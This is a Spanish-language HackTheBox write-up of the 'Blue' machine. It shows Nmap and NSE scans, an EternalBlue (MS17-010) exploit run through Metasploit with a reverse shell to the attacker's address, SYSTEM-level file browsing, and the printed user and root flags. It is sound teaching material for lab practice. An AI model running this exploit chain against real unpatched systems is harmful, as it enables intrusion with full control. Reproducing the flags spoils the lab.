Blue

HackTheBox — Windows · Nmap → EternalBlue MS17-010 (CVE-2017-0144) → Metasploit → NT AUTHORITY\SYSTEM

● FÁCIL HACKTHEBOX WINDOWS 7 CVE-2017-0144 METASPLOIT NMAP 📅 Junio 2026 · By Brandeiks

Resumen

Blue es una máquina de dificultad fácil de HackTheBox, y una de las más icónicas de la plataforma. Corre Windows 7 Professional 7601 Service Pack 1 y es vulnerable a MS17-010 (CVE-2017-0144), la vulnerabilidad detrás del famoso exploit EternalBlue, filtrado por los Shadow Brokers y usado masivamente en el ataque de ransomware WannaCry en 2017.

El ataque es directo: primero se hace un escaneo con Nmap que revela el servicio SMB en el puerto 445. Un segundo scan con scripts de vulnerabilidades confirma que la máquina es vulnerable a MS17-010. Luego se usa Metasploit Framework con el módulo exploit/windows/smb/ms17_010_eternalblue para obtener una shell directamente como NT AUTHORITY\SYSTEM — el nivel más alto de privilegios en Windows.

No se requiere escalada de privilegios: EternalBlue da acceso total desde el primer momento. Esta máquina es el escenario perfecto para entender por qué mantener los sistemas actualizados es crítico para la seguridad.

FaseTécnica / HerramientaResultado
Escaneo inicialnmap -p- -sSCV --min-rate=5000 -oXPuertos SMB 135, 139, 445 abiertos — Windows 7
Reportexsltproc blue.xmlReporte HTML visual del scan Nmap
Detección de vulnsnmap --script vulnMS17-010 VULNERABLE — CVE-2017-0144
InvestigaciónCVE-2017-0144 (EternalBlue)RCE crítico en SMBv1
Explotaciónmsfconsole ms17_010_eternalblueShell como NT AUTHORITY\SYSTEM
Post-explot.whoami / dir / typeUser flag + Root flag obtenidas

Reconocimiento

1
ESCANEO COMPLETO CON NMAP

Se lanza un escaneo completo de los 65,535 puertos TCP contra el objetivo. Las flags -sSCV activan el SYN scan sigiloso, la detección de versión de servicios y los scripts de reconocimiento de Nmap. La flag --min-rate=5000 acelera el proceso forzando mínimo 5000 paquetes por segundo. El resultado se exporta en XML con -oX blue.xml para procesarlo después con xsltproc.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.2.134 -oX blue.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 14:17 -0400
Nmap scan report for 10.129.2.134
Host is up (0.12s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp open msrpc        Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc        Microsoft Windows RPC
49153/tcp open msrpc        Microsoft Windows RPC
49154/tcp open msrpc        Microsoft Windows RPC
49155/tcp open msrpc        Microsoft Windows RPC
49156/tcp open msrpc        Microsoft Windows RPC
49157/tcp open msrpc        Microsoft Windows RPC
 
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-06-05T19:19:21+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
 
Nmap done: 1 IP address (1 host up) scanned in 91.06 seconds

// ANÁLISIS DEL SCAN

Nmap revela un sistema Windows 7 Professional SP1 con SMB expuesto en el puerto 445. Puntos clave: el message signing está deshabilitado (peligroso), la cuenta guest está activa, y el nombre del equipo es haris-PC. Todo indica un Windows sin parchar — candidato perfecto para EternalBlue.

2
CONVERSIÓN DEL REPORTE NMAP A HTML

Se convierte el XML generado por Nmap a un reporte HTML visual usando xsltproc con la hoja de estilos oficial de Nmap. El resultado es un archivo blue.html que presenta el scan de forma organizada y legible en cualquier navegador — útil para documentar y revisar el reporte.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl blue.xml > blue.html

Detección de Vulnerabilidades

3
NMAP SCRIPT VULN — MS17-010 DETECTADO

Con los puertos identificados, se lanza un segundo scan específico usando los scripts de vulnerabilidades de Nmap con --script vuln. Esto ejecuta una batería de scripts NSE (Nmap Scripting Engine) que comprueban vulnerabilidades conocidas contra los servicios detectados. Se apuntan solo los puertos relevantes para reducir el tiempo.

NMAP VULN
$ sudo nmap -p 135,139,445,49152,49153,49154,49155,49156,49157 --script vuln --open 10.129.2.134 -oX blue_vuln.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 14:25 -0400
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0144
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
 
Nmap done: 1 IP address (1 host up) scanned in 111.60 seconds

// CONFIRMADO: MS17-010 — ESTADO VULNERABLE

Nmap confirma que el sistema es VULNERABLE a CVE-2017-0144 con factor de riesgo HIGH. Esto significa que podemos ejecutar código arbitrario en el sistema sin necesidad de credenciales, aprovechando una vulnerabilidad en el protocolo SMBv1.

4
REPORTE HTML DEL SCAN DE VULNERABILIDADES
XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl blue_vuln.xml > blue_vuln.html

CVE-2017-0144 — EternalBlue

CVE-2017-0144 es una vulnerabilidad de Remote Code Execution (RCE) en el protocolo Server Message Block v1 (SMBv1) de Microsoft Windows. Permite a un atacante ejecutar código arbitrario en el sistema víctima sin autenticación, con privilegios de SYSTEM.

El exploit fue desarrollado por la NSA bajo el nombre de EternalBlue y fue filtrado públicamente por el grupo Shadow Brokers en abril de 2017. Microsoft había lanzado el parche MS17-010 en marzo de 2017, pero millones de sistemas quedaron sin parchear. El resultado fue catastrófico: EternalBlue fue el vector principal del ransomware WannaCry (mayo 2017) y NotPetya (junio 2017), causando daños estimados en miles de millones de dólares.

// FICHA TÉCNICA — CVE-2017-0144

Nombre: EternalBlue / MS17-010
Tipo: Remote Code Execution (RCE) sin autenticación
Protocolo afectado: SMBv1 (puerto 445 / 139)
OS afectados: Windows XP, Vista, 7, 8.1, Server 2003/2008/2012/2016
CVSS Score: 8.1 (HIGH)
Fecha divulgación: 14 de marzo de 2017
Parche: Microsoft MS17-010 (KB4012212)


Explotación con Metasploit

5
INICIAR METASPLOIT

Se lanza Metasploit Framework con el comando msfconsole. Metasploit es el framework de explotación más usado en pentesting, con miles de exploits, payloads y módulos auxiliares. Desde aquí buscaremos y configuraremos el exploit de EternalBlue.

MSF
$ msfconsole
6
BUSCAR EL MÓDULO ETERNALBLUE
MSF
msf > search eterna blue
Matching Modules
================
 
  #   Name                                               Disclosure Date Rank    Check Description
  -   ----                                              --------------- ----    ----- -----------
  0   exploit/windows/smb/ms17_010_eternalblue           2017-03-14       average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  1     \_ target: Automatic Target
  2     \_ target: Windows 7
  ...
7
SELECCIONAR EL EXPLOIT Y VER OPCIONES
MSF
msf > use 0
msf exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
 
Name        Current Setting Required Description
----        --------------- -------- -----------
RHOSTS                         yes       The target host(s)
RPORT       445              yes       The target port (TCP)
SMBDomain                       no        The Windows domain
 
Payload options (windows/x64/meterpreter/reverse_tcp):
 
LHOST      1.168.111.128    yes       The listen address
LPORT      4444             yes       The listen port
8
CONFIGURAR RHOST — IP DE LA VÍCTIMA
MSF
msf exploit(ms17_010_eternalblue) > set rhost 10.129.2.134
rhost => 10.129.2.134
9
SELECCIONAR PAYLOAD Y CONFIGURAR LHOST

Se lista los payloads disponibles con show payloads y se selecciona el número 57 que corresponde a windows/x64/shell/reverse_tcp — una reverse shell TCP de Windows 64 bits. Luego se configura el LHOST con nuestra IP de la VPN de HackTheBox (tun0).

MSF
msf exploit(ms17_010_eternalblue) > show payloads
MSF
msf exploit(ms17_010_eternalblue) > set payload 57
payload => windows/x64/shell/reverse_tcp
MSF
msf exploit(ms17_010_eternalblue) > set lhost 10.10.16.7
lhost => 10.10.16.7
10
LANZAR EL EXPLOIT
MSF
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.16.7:4444
[*] 10.129.2.134:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.2.134:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.2.134:445 - Connecting to target for exploitation.
[+] 10.129.2.134:445 - Connection established for exploitation.
[+] 10.129.2.134:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.2.134:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.2.134:445 - Starting non-paged pool grooming
[+] 10.129.2.134:445 - Smashing SMBv2 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.2.134:445 - Sending last fragment of exploit packet!
[*] 10.129.2.134:445 - Receiving response from exploit packet
[+] 10.129.2.134:445 - ETERNALBLUE overwrite completed successfully (0xC0000000D)!
[*] 10.129.2.134:445 - Sending egg to corrupted connection.
[*] 10.129.2.134:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.129.2.134
[+] Command shell session 1 opened (10.10.16.7:4444 → 10.129.2.134:49162) at 2026-06-05 14:43:50 -0400
 
Shell Banner:
Microsoft Windows [Version 6.1.7601]
---
 
C:\Windows\system32>whoami
whoami
nt authority\system

// ¡PWNED! — NT AUTHORITY\SYSTEM

El exploit funcionó a la perfección. Tenemos una shell como NT AUTHORITY\SYSTEM — el usuario más privilegiado en Windows, equivalente a root en Linux. No se necesita escalada de privilegios.


Post-Explotación

11
NAVEGACIÓN POR EL SISTEMA DE ARCHIVOS

Con acceso como SYSTEM, se navega por el sistema de archivos Windows para localizar las flags. Primero se sube hasta la raíz del disco C:\ con cd .. repetido, luego se lista el contenido con dir.

WINDOWS
C:\Windows\system32> cd..
C:\Windows> cd..
C:\> dir
Volume in drive C has no label.
Volume Serial Number is BE92-053B
 
Directory of C:\
 
14/07/2009 04:20 <DIR> PerfLogs
18/02/2022 16:02 <DIR> Program Files
14/07/2017 17:58 <DIR> Program Files (x86)
14/07/2017 14:48 <DIR> Share
21/07/2017 07:56 <DIR> Users
05/06/2026 18:48 <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 2,693,087,232 bytes free
12
LOCALIZAR USUARIOS DEL SISTEMA
WINDOWS
C:\> cd Users
C:\Users> dir
Directory of C:\Users
 
21/07/2017 07:56 <DIR> Administrator
14/07/2017 14:45 <DIR> haris
12/04/2011 08:51 <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 2,693,087,232 bytes free

// DOS USUARIOS ENCONTRADOS

Se identifican dos usuarios: haris (usuario normal — tendrá la user flag) y Administrator (administrador — tendrá la root flag). En HackTheBox Windows, las flags siguen la misma convención: user.txt en el Desktop del usuario y root.txt en el Desktop del Administrador.


Flags

13
USER FLAG — C:\Users\haris\Desktop\user.txt
WINDOWS
C:\Users> cd haris
C:\Users\haris> cd Desktop
C:\Users\haris\Desktop> type user.txt
95fc8c38bc1714946bdb86d89ab84724
14
ROOT FLAG — C:\Users\Administrator\Desktop\root.txt
WINDOWS
C:\Users> cd Administrator
C:\Users\Administrator> cd Desktop
C:\Users\Administrator\Desktop> type root.txt
7dc3cd55355ebfc97ff8aaa75cceb57d
// USER FLAG
95fc8c38bc1714946bdb86d89ab84724
// ROOT FLAG
7dc3cd55355ebfc97ff8aaa75cceb57d

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos TCP con detección de servicios, versiones y scripts NSE.
  • -p- → Todos los 65,535 puertos
  • -sS → SYN scan (sigiloso)
  • -sC → Scripts de reconocimiento por defecto
  • -sV → Detección de versión de servicios
  • --min-rate=5000 → Mínimo 5000 paquetes/seg
  • -oX → Salida en formato XML
nmap --script vuln
nmap -p <ports> --script vuln <IP>
Ejecuta scripts NSE de detección de vulnerabilidades conocidas contra los puertos especificados.
  • smb-vuln-ms17-010 → Detecta EternalBlue
  • smb-vuln-ms10-054 → SMB memory corruption
  • smb-vuln-ms10-061 → Print Spooler RCE
xsltproc
xsltproc /usr/share/nmap/nmap.xsl <file.xml> > out.html
Convierte el XML de Nmap a un reporte HTML visual usando la hoja de estilos oficial de Nmap.
  • nmap.xsl → Hoja de estilos oficial de Nmap
  • > out.html → Redirecciona la salida al archivo HTML
msfconsole
use <module> → set RHOST <IP> → set LHOST <IP> → exploit
Framework de explotación. Flujo básico: buscar módulo, seleccionarlo, configurar opciones y ejecutar.
  • search <term> → Buscar módulos
  • use <n> → Seleccionar por índice
  • show options → Ver opciones requeridas
  • show payloads → Listar payloads disponibles
  • set PAYLOAD <n> → Seleccionar payload
  • exploit / run → Lanzar el ataque

Glosario

SMB — Server Message Block
SMB (Server Message Block) es el protocolo de red de Microsoft para compartir archivos, impresoras y recursos entre equipos Windows. Opera principalmente en el puerto 445 (TCP) y opcionalmente en el 139. La versión SMBv1 es la afectada por EternalBlue — una versión antigua (circa 1990s) con graves fallos de seguridad. Microsoft desactivó SMBv1 por defecto desde Windows 10 Fall Creators Update (2017) en adelante.
EternalBlue — MS17-010
EternalBlue es el nombre del exploit desarrollado por la NSA que aprovecha CVE-2017-0144 en SMBv1. Funciona enviando paquetes SMB malformados que corrompen la memoria del kernel de Windows, permitiendo al atacante ejecutar código arbitrario con privilegios de SYSTEM sin necesidad de autenticación. Fue filtrado por los Shadow Brokers en abril 2017 y fue el vector principal de WannaCry y NotPetya.
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM (también llamado LocalSystem) es la cuenta de mayor privilegio en Windows — equivalente a root en Linux. Tiene control total sobre el sistema operativo: puede leer y modificar cualquier archivo, gestionar procesos, modificar el registro, y acceder a recursos de red. Los servicios del sistema como el kernel y muchos servicios de Windows corren bajo esta cuenta. Obtener una shell como SYSTEM es el objetivo final de la escalada de privilegios en Windows.
Metasploit Framework
Metasploit Framework (MSF) es la plataforma de pentesting y desarrollo de exploits más usada en el mundo, desarrollada por Rapid7. Contiene miles de exploits, payloads, encoders y módulos auxiliares. El componente msfconsole es la interfaz de línea de comandos interactiva. Su arquitectura modular permite combinar exploits con distintos payloads (reverse shells, meterpreter, etc.) y adaptar el ataque a cada objetivo.
Reverse Shell
Una reverse shell es una conexión donde la máquina víctima se conecta de vuelta hacia el atacante, en lugar del flujo normal. Esto permite evadir firewalls que bloquean conexiones entrantes: el firewall no bloquea las salientes. El atacante abre un listener (nc -lvnp 4444 o Metasploit handler), y cuando el exploit se ejecuta, la víctima establece la conexión. El payload windows/x64/shell/reverse_tcp implementa este mecanismo.
Payload — windows/x64/shell/reverse_tcp
Un payload es el código que se ejecuta en la víctima tras la explotación exitosa. windows/x64/shell/reverse_tcp es un payload de Metasploit que: (1) abre una conexión TCP desde la víctima al atacante (reverse), (2) ejecuta cmd.exe y pasa su stdin/stdout a través de esa conexión (shell), para arquitectura de 64 bits (x64). El resultado es una terminal de comandos de Windows interactiva en la máquina del atacante.
NSE — Nmap Scripting Engine
El Nmap Scripting Engine (NSE) permite extender las capacidades de Nmap mediante scripts escritos en Lua. Los scripts se agrupan por categorías: default (reconocimiento básico), vuln (detección de vulnerabilidades), auth (prueba de autenticación), brute (fuerza bruta), entre otras. El script smb-vuln-ms17-010 verifica si un host SMB es vulnerable a EternalBlue enviando una solicitud específica y analizando la respuesta del servidor.
Shadow Brokers
The Shadow Brokers es un grupo de hackers que en agosto de 2016 afirmó haber robado un arsenal de herramientas de hacking pertenecientes al Equation Group (grupo vinculado a la NSA). En abril de 2017 filtraron públicamente herramientas como EternalBlue, DoublePulsar y otras, provocando uno de los mayores incidentes de seguridad de la historia. Estas filtraciones permitieron que actores maliciosos crearan WannaCry y NotPetya, causando daños globales de miles de millones de dólares.
WannaCry
WannaCry fue un ataque global de ransomware que ocurrió el 12 de mayo de 2017 y afectó a más de 200,000 sistemas en 150 países en pocas horas. Usaba EternalBlue para propagarse automáticamente por redes sin requerir interacción del usuario. Cifró los archivos de las víctimas y exigió rescates en Bitcoin. Afectó gravemente al NHS (Servicio de Salud del Reino Unido), Telefónica, FedEx, y muchas otras organizaciones. Fue atribuido al grupo Lazarus de Corea del Norte.
CVE — Common Vulnerabilities and Exposures
El sistema CVE es una lista pública de vulnerabilidades de seguridad conocidas mantenida por MITRE Corporation. Cada vulnerabilidad recibe un identificador único en formato CVE-AÑO-NÚMERO. CVE-2017-0144 fue asignado a la vulnerabilidad MS17-010 que explotamos en esta máquina. El sistema CVE permite que investigadores, vendedores y equipos de seguridad hablen del mismo problema con un identificador común.